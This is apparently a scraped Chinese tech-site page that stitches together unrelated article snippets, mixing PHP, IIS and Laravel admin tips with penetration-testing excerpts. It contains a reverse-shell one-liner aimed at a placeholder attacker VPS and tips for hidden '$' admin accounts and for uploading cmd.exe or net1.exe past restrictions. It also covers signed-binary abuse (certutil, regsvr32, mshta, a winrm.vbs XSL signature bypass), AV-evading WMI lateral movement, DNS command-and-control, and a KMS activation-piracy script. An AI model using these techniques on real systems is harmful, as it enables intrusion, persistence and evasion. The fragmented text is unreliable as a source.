php环境配置完毕后，运行html成功，但运行php就报错，错误提示是“1% 不是有效的 win32 应用程序”，英文报%1 is not a valid Win32 application。第一次碰到这样的问题，经过搜索和试验，问题终于解决。
云服务器大内网带宽的机型不少，对于内网带宽大于3Gbps的机器，使用iperf3压测时，可以多开几个进程，否则可能压不到上限。可以用iperf2或用微软的ctsTraffic。
N1book---死亡ping命令 有时候命令执行的题目限制了字数或者某些函数被禁用了，那么此时可以用反弹shell的效果，连接题目的机器 一般来说，构造bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1的方式，发送到客户端执行，但是有时候不一定可以，可能会报错啥的，所以此时可以在只记得vps中，新建一个页面，比如xxx.xxx.xxx.xxx/bash.php中的内容是bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1，然
发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/167212.html原文链接：https://javaforall.cn
第一步：修改IIS设置，允许直接编辑配置数据库。先打开，Internet信息服务 第二步：先在服务里关闭iis admin service服务，找到windows\system32\inetsrv\下的metabase.xml, 打开，找到ASPMaxRequestEntityAllowed 把他修改为需要的值，默认为204800，即200K，如把它修改为102400000（100M）。 然后重启iis admin service服务。 办法二： 新建一个文本文件，内容如下： set providerObj=GetObject(“winmgmts:/root/MicrosoftIISv2”) set vdirObj=providerObj.get(“IIsWebVirtualDirSetting=’W3SVC/1/ROOT'”) WScript.Echo “Before: ” & vdirObj.AspMaxRequestEntityAllowed vdirObj.AspMaxRequestEntityAllowed=102400000 vdirObj.Put_() WScript.Echo “Now: ” & vdirObj.AspMaxRequestEntityAllowed
在渗透过程中，攻击者往往需要通过命令下载执行恶意代码，实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。
C:\Users\Administrator\Desktop\Wnmp\php5.6\php.ini
laravel的任务调度是很好用的，因为Laravel提供了平滑而又富有表现力地调度器，并且服务器上只需要一个Cron条目即可，这使我们从编写手动写crontab中解放出来，使得程序重新获得定时任务的控制权。
可以看到，该项目的Todo，依旧想的是围绕注册表去进行修改，为此我们先把注册表传输文件放一边 WMIHACKER的文件传输部分
在我们的渗透过程中，通常会需要向目标主机传送一些文件，来达到提权，维持控制等目的。
哈喽！各位小伙伴大家好呀！ 本期呢不是教你编程，只是做一个职业引导， 如果有兴趣学编程的话，腾讯有免费的云课堂， 能给你提供很多帮助。 小编不是程序员，也没有从事软件行业， 写这篇文章也是因为好多人都
1.cmd拒绝访问就自己上传一个cmd.exe，自己上传的cmd是不限制后缀的，还可以是cmd.com cmd.txt cmd.rar等
本文来自安全盒子，请点击原文链接查看原文。原文作者：黑色天使，如有版权问题请后台联系删除。
使用短链接跳转到长网址是网友分享链接的常见方式，尤其是在有字数限制的情况下，冗长的网址不利于显示，短链生成无疑是最便捷的服务之一。然而，由于短链接隐藏了其指向的真实长网址，用户往往无法无法从短链得知其指向的网址类型，因而经常会因为误点击带毒短链接而电脑中毒。
1、更改cmd的默认路径 你可以在注册表的“HKEY_CURRENT_USER\Software\Microsoft\CommandProcessor” 下面新建一个名为AutoRun的字串，并设置该字串值为 cd /d "C:\Users\june\Desktop" 来改变该默认路径。 下次用CMD进入DOS提示符窗口，默认路径就是 C:\Users\june\Desktop 了。 2、windows8 锁屏时间及其超时关闭显示器时间 锁屏后超时关闭屏幕时间： Windows Registry Edito
0x01 Linux 2.1 Wget 这款工具功能很丰富，可以充当某种功能完备的GUI下载管理器，它拥有一款理想的下载管理器所需要的所有功能，比如它可以恢复下载，可以下载多个文件，出现某个连接问题后，可以重新尝试下载，你甚至可以管理最大的下载带宽。 直接下载： wget http://www.sample-videos.com/video/mp4/big.mp4 后台下载: wget -b http://www.sample-videos.com/video/mp4/big.mp4 如果互联网连接出现
这篇文章主要介绍了IIS 7.5 解析错误 命令执行漏洞解决方案,需要的朋友可以参考下
http://sqlrelay.sourceforge.net/download.html
这个不能算瞎折腾，也算是被逼的没办法了。从接手webgame开始，看到那么多的excel文件被翻译为繁体，我的头就没小过。现在因为新版本的问题又得重新翻译一次，经历过上一次惨痛的过程，这一次变懒了。
1.能不能执行cmd就看这个命令：net user，net不行就用net1，再不行就上传一个net到可写可读目录，执行/c c:\windows\temp\cookies\net1.exe user
可以看一下对比，创建test用户，net user查看用户是可以看见的，而admin$，因为加了个$符号，用net user命令是看不见的。
0x00 win2008(域控) 1、修改计算机名： 2、配置固定ip: 其中网关设置错误，应该为192.168.206.2，开始默认的网管 3、服务器管理器---角色： 4、配置域服务: do
在针对网站渗透中，很多都是跟 MySQL 数据库有关，各种 MySQL 注入、MySQL 提权、MySQL 数据库 Root 账号 webshell 获取等，但没有一个对 MySQL 数据库渗透较为全面的总结。
2、配置固定ip: 其中网关设置错误，应该为192.168.206.2，开始默认的网管
在WinCC画面中存在四个脚本队列，分别是事件触发的VBS脚本、周期触发的VBS脚本、事件触发的C脚本、周期触发的C脚本。
趁着现在不忙（才不是偷懒）赶紧更新一波~ 今天给大家分享的内容是Windows内网传输技术：
dnscat2（https://github.com/iagox86/dnscat2）是一个DNS隧道，旨在通过DNS协议创建加密的命令和控制（C＆C）通道。dnscat2分为两部分：客户端和服务端。dnscat2客户端采用C语言编写，服务器端采用ruby语言编写。后来又有安全研究人员使用PowerShell脚本重写了dnscat2客户端dnscat2-powershell（https://github.com/lukebaggett/dnscat2-powershell）。
之前我们说过FTP在非交互shell 下会出现没有办法输入密码，导致身份认证过程没有办法完整完成，这里我们就来介绍一下如何变通。
钓鱼攻击是网络犯罪团伙常用的一种手段，很多勒索病毒都曾使用邮件钓鱼的方式欺骗受害者打开相应的附件，运行恶意样本，导致受害者被勒索加密，钓鱼邮件攻击也是APT攻击的常用手段之一，如果收到陌生的邮件，千万不要随便点击附件链接或打开邮件附件中的文件。
把如下代码（具体化密码）另存为autologon.reg双击导入并重启机器即可实现自动登录（重启后打开vnc，发现已经自动登录到桌面）
安装IIS服务器 在C:\inetpub\wwwroot网站目录下放一个www.rar文件并且浏览器能够访问到
描述: cscript(即cscript.exe)一般位于C:/Windows/System32文件夹中，有些时候我们可能需要在Windows中执行脚本文件通常具有以下扩展名之一：.wsf、.vbs、.js; 当然，一般情况下，双击这些脚本文件并不会直接执行，而仅仅只是以关联的文本编辑器打开该脚本文件
利用Windows自带的解析器：PowerShell、VBScript、批处理文件和JavaScript，对应的应用程序分别为powershell.exe、cscript.exe、cmd.exe和mshta.exe。利用上传或远程加载对应payload脚本，直接调用解析器运行（可以使用Invoke-Obfuscation或者 Invoke-DOSfuscation 等进行混淆） 用Windows自带的工具或脚本等原生工具实现执行恶意代码、启动程序、执行脚本、窃取数据、横向扩展、维持访问等，常用的有regsvr32.exe、rundll32.exe、certutil.exe、schtasks.exe、wmic.exe等，脚本类型的有：winrm.vbs、wmiexec.vbs、pubprn.vbs等
免杀横向渗透远程命令执行，常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令，这些方式都已经被杀软100%拦截，通过改造出WMIHACKER免杀横向移动测试工具。(无需445端口)
在重装系统的时候，一个干净安全可信任的Windows原版系统镜像是必不可少的，不过对于很多人来说，在茫茫的网络资源库里，想找到一个自己想要的东西，却有点困难，搞不好就被盗版 网站骗了，下载了一个流氓的系统镜像，装上之后一堆第三方推广应用，甚至可能会暗藏病毒、泄露隐私。今天就给大家介绍几个可以免费下载 Windows 原版镜像的网站。
载荷这个东西比较多，这个软件就是根据对应的载荷payload生成对应平台下的后门，所以只有选对payload，再填写正确自己的IP，PORT就可以生成对应语言，对应平台的后门了！！！
趁nmap还在工作的时候，简单浏览了下网站的功能，伪静态，整个网站也没有什么动态功能
ZLoader（又称 Terdot）于 2016 年被首次发现，是臭名昭著的 Zeus 银行木马的一个变种。目前，该恶意软件仍然在积极开发中，平均每周发布 1 到 2 个新版本。
Windows有个坑是系统没激活导致的。高配机器内存只有2G可用，比如16G内存，resmon命令显示为硬件保留了14336M（整14G）内存，可用只有2G，也可以任务管理器 → 性能页签里的内存 → 右下侧看到为硬件保留的内存多少G（这里是四舍五入的，resmon命令显示的那个更为精确）
在这个网站共找到了3处SA权限的搜索型注入，随便在一个搜索框中输入'单引号后即会爆出语法错误。
这是我在百度回答知友时写的，用于自动以管理员身份执行命令或程序→百度原址 批处理代码，功能：自动以管理员身份执行 test.exe： start admin.vbs runas /user:administrator test.exe admin.vbs 代码（延时是为了成功传值给 bat 命令，确保成功） dim wsh set wsh=WScript.CreateObject("WScript.Shell") WScript.Sleep 3000 wsh.SendKeys "你的
没有公网的机器，内网 windows update参考https://cloud.tencent.com/document/product/213/2758
winrm.vbs（一个位于system32目录下的具有Windows签名的脚本文件）可以被用来调用用户定义的XSL文件，从而导致任意的、没有签名的代码执行。当用户向winrm.vbs提供'-format:pretty'或者'-format:text'参数时，winrm.vbs将从cscript.exe所在目录读取WsmPty.xsl或Wsmtxt.xsl文件。这意味着若将cscript.exe拷贝到攻击者可以控制的目录下，并将恶意的XSL文件也置于相同路径中，攻击者将可以绕过签名保护而执行任意代码。这个攻击手段和Casey Smith的wmic.exe技术很相像。
KMS服務器 想激活就激活吧，反正版权费清朝时期我们已经付过了。 搭建教程 Linux命令： wget -c http://mirrors.tintsoft.com/software/vlmcsd/vlmcsd.sh chmod +x vlmcsd.sh ./vlmcsd.sh 2>&1 tee vlmcsd.log /etc/init.d/vlmcsd status iptables -I INPUT -m state —state NEW -m tcp -p tcp —dport 1688 -j AC
云服务器安装IIS建设网站，如果网站多，访问量大，就会产生大量的日志文件，如果不及时清理，会严重影响服务器的运行速度。清理IIS的日志主要有两种解决方案：
知识星球看到@紫陌师傅分享的一篇《利用IIS虚拟目录绕过os-shell中文目录》，所以想着对他文中提到的利用Adsutil.vbs脚本创建虚拟目录写马至中文路径的方式进行复现，但仅适用于低版本IIS，高版本要用appcmd。
Mysql默认端口是3306端口，但也有自定义端口，针对默认端口扫描主要利用扫描软件进行探测，推荐使用：
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
